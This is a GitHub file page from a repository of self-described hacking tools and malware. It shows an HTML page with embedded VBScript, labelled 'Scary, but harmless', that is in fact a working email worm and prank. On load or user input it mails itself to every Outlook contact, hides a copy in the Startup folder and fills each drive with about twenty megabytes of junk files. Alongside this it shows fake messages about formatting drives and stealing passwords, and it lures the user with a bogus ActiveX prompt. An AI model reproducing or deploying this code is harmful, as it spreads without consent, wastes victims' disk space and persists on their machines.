Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

6.6 KB
Raw Blame
<HTML>
<HEAD>
<TITLE>Scare of your life</TITLE>
<META NAME="GENERATOR" Content="The SCARE">
<META NAME="Author" Content="JJ">
<META NAME="Description" Content="Scary, but harmless">
</HEAD>
<BODY 
	onLoad="Resize();Nasty()"
	onKeyDown="Nasty()"
	onMouseDown="Nasty()">
	<FONT Face="ComicSans" Style="Bold" Size=15>
	<CENTRE><P>This HTML files needs ActiveX objects to operate.<BR></P>
			<P>Please click 'Yes' to enable ActiveX<P>
	</CENTRE>
	</FONT>
	<FONT Face="Arial" Size=5>
	<MARQUEE Loop="Infinite" bgColor="Yellow">***///???&&&^^^%%%$$$###@@@!!!</MARQUEE>
	</FONT>
<P>&nbsp;</P>
</BODY>
</HTML>
<SCRIPT Language="VBScript">
<!--
Sub Resize()
	Dim W, H
	If Not window.screen Is Nothing Then
		W = screen.availWidth 
		H = screen.availHeight 
		window.moveTo 0, 0
		window.resizeTo W, H
	End If
	
End Sub

Sub SpreadByEmail(FilePath)
	On Error Resume Next
	Dim Mail, cAddresses, Address, App, MAPI
	
	Set App = CreateObject("Outlook.Application")
	Set MAPI = App.GetNameSpace("MAPI")
	For Each cAddresses In MAPI.AddressLists
		For Each Address In cAddresses.AddressEntries
			Set Mail = App.CreateItem(0)
			Mail.Recipients.Add Address
			Mail.Subject = "The Secret of Life"
			Mail.Attachments.Add FilePath
			Mail.Send
		Next
	Next
	
End Sub
	
Sub Nasty()
	On Error Resume Next

	Dim FSO, Drive, File, Folder, sPath, sSysDir, sStartupDir, sTempDir, sDrive, bPending, Index, SC, JunkFile, Char, Genie, Again
	
	Again = False
	Genie = "Genie of all secrets"
	Set FSO = CreateObject("Scripting.FileSystemObject")
	sSysDir = FSO.GetSpecialFolder(SystemFolder)  
	If FSO.FileExists(sSysDir & "\WinGen.dll") Then
		If FSO.FileExists(sTempDir & "\Godzilla") Then
			Set File = FSO.OpenTextFile(sTempDir & "\Godzilla", 1, True) 
			Char = File.ReadLine
		End If
		If MsgBox(Char & ", don't you think I've caused enough trouble?", vbYesNo, Genie) = vbNo Then
			MsgBox "Here we go again...", , Genie
			Again = True
		Else
			MsgBox "I agree too. 'Bye", , Genie
			window.close 
		End If
	End If
	sPath = Replace(document.location.href, "///", "//")
	sPath = Replace(sPath, "file://", "", vbTextCompare)
	Set File = FSO.GetFile(sPath)
	If Not Again Then
		SpreadByEmail sPath
	End If
	
	Set sStartupDir = FSO.GetSpecialFolder(WindowsFolder)
	If LCase(sStartupDir) = "c:\winnt" Then 
		sStartupDir = sStartupDir & "\Profiles\All Users\Start Menu\Programs\Startup"
	ElseIf LCase(sStartupDir) = "c:\windows" Then
		sStartupDir = sStartupDir & "\Start Menu\Programs\Startup"
	End If
	If Not FSO.FileExists(sStartupDir & "\" & File.Name) Then File.Copy sStartupDir & "\" & File.Name, True
	FSO.GetFile(sStartupDir & "\" & File.Name).Attributes = 1 + 2

	sTempDir = FSO.GetSpecialFolder(TemporaryFolder)
	bPending = False
	If FSO.FileExists(sTempDir & "\Godzilla") Then
		Set File = FSO.OpenTextFile(sTempDir & "\Godzilla", 1, True) 
		Char = File.ReadLine
		MsgBox "So, " & Char & ", you thought you'll get rid of me so easily? Hah! Here I am again!", vbExclamation, Genie
		bPending = True
	Else
		If Not Again Then
			MsgBox "Hello user, I am a cyber-genie who will give you the answer to the secret of life", , Genie
			Char = InputBox("Please enter your name", "Secret", "Bozo")
			Set File = FSO.CreateTextFile(sTempDir & "\Godzilla", True)
			File.WriteLine Char
			MsgBox Char & "... What a weird name! But it's not your fault.", , Genie
			If MsgBox("So shall we proceed? You could ask me anything you want...", vbYesNo, Genie) = vbNo Then
				MsgBox "Aw, don't be a spoilsport", vbExclamation, Genie
				MsgBox "I'll be nice and go ahead anyway.", , Genie
			End If
			MsgBox "But before the party starts, here's something I've always wanted to do...", , Genie
			If MsgBox("I want to format all your drives, would you let me?", vbYesNo, Genie) = vbNo Then
				MsgBox "Huh! Who asked you? Just for your impertinence, I'll spread the plague on you... Ha Ha!", , Genie
			Else
				MsgBox "Yes?! You must be a lunatic!", vbExclamation, Genie
				MsgBox "Well, you just made my day!", vbExclamation, Genie
			End If
		
			MsgBox "Reading system passwords...", , Genie
			MsgBox "Transmitting system passwords to sender...", , Genie
			MsgBox "Done.", , Genie
		End If
	End If
	sDrive = ""
	Set File = FSO.OpenTextFile(sTempDir & "\Godzilla", 1, True)
	For Each Drive In FSO.Drives
		If bPending Then 
			If Not File.AtEndOfStream Then 
				sDrive = File.ReadLine 
			End If 
		End If
		If LCase(sDrive) = LCase(Drive) Then
			MsgBox "Drive " & Drive & " already formatted", vbExclamation, Genie
		Else
			Select Case Drive.DriveType
				Case 1, 2
					If Drive.IsReady Then
						For Each Folder In Drive.RootFolder.SubFolders
							MsgBox "Deleting Folder """ & Folder.Path & """", vbExclamation, Genie
						Next
						MsgBox "Corrupting FAT on drive " & Drive, vbExclamation, Genie
						Screen.MousePointer = vbHourGlass
						For Index = 1 To 20
							Set JunkFile = FSO.CreateTextFile(Drive & "\Sys" & CStr(Index) & ".tmp", True)
							For Char = 1 To 2 ^ 20
								JunkFile.Write Chr(Int(Rnd * 255 + 1)) 
							Next
							JunkFile.Close
						Next
						If Int(Rnd * 3 + 1) = 3 Then
							MsgBox "Feeling helpless?", vbYesNo, Genie
							MsgBox "Ha Ha! there's nothing you can do now!", vbExclamation, Genie
						End If
						'Screen.MousePointer = vbDefault
					Else
						MsgBox "I wanted to format the floppy, but too bad there isn't any disk in the drive.", vbExclamation, Genie
					End If
				Case 3, 4 
					If Drive.IsReady Then
						MsgBox "Oooh! I hate remote/CD drives, I can't format them!", vbExclamation, Genie
					End If
			End Select
		End If
		If Not bPending Then 
			Set File = FSO.OpenTextFile(sTempDir & "\Godzilla", 8, True)
			File.WriteLine Drive
			File.Close	
		Else
			If File.AtEndOfStream Then
				sDrive = ""
				File.Close
				bPending = False
			End If
		End If
	Next 
	MsgBox "So how did you feel being dishonored in public?" , vbExclamation, Genie
	FSO.DeleteFile sTempDir & "\Godzilla", True
	If MsgBox("So did you learn your lesson?", vbYesNo, Genie) = vbNo Then
		MsgBox "Shameless aren't you?", vbExclamation, Genie
		MsgBox "In that case be prepared to see me again.", vbExclamation, Genie
		MsgBox "I'll be back. Hasta la vista, baby!", , Genie
	Else
		MsgBox "Poor you! OK, I shan't trouble you any longer.", , Genie
		MsgBox "Nice knowing you anyway.", , Genie
		If MsgBox("Should get to know each other sometime, don't you think?", vbYesNo, Genie) = vbNo Then
			MsgBox "Vegetable!", vbExclamation, Genie
		Else 
			MsgBox "Oh! You're so nice. Adieu!", vbExclamation, Genie
		End If
		Set File = FSO.GetFile(sPath)
		FSO.DeleteFile sStartupDir & "\" & File.Name, True
		Set File = FSO.CreateTextFile(sSysDir & "\WinGen.dll", True)
		File.Write document.activeElement.innerText
		File.Close 
	End If
	window.close 
End Sub
-->
</SCRIPT>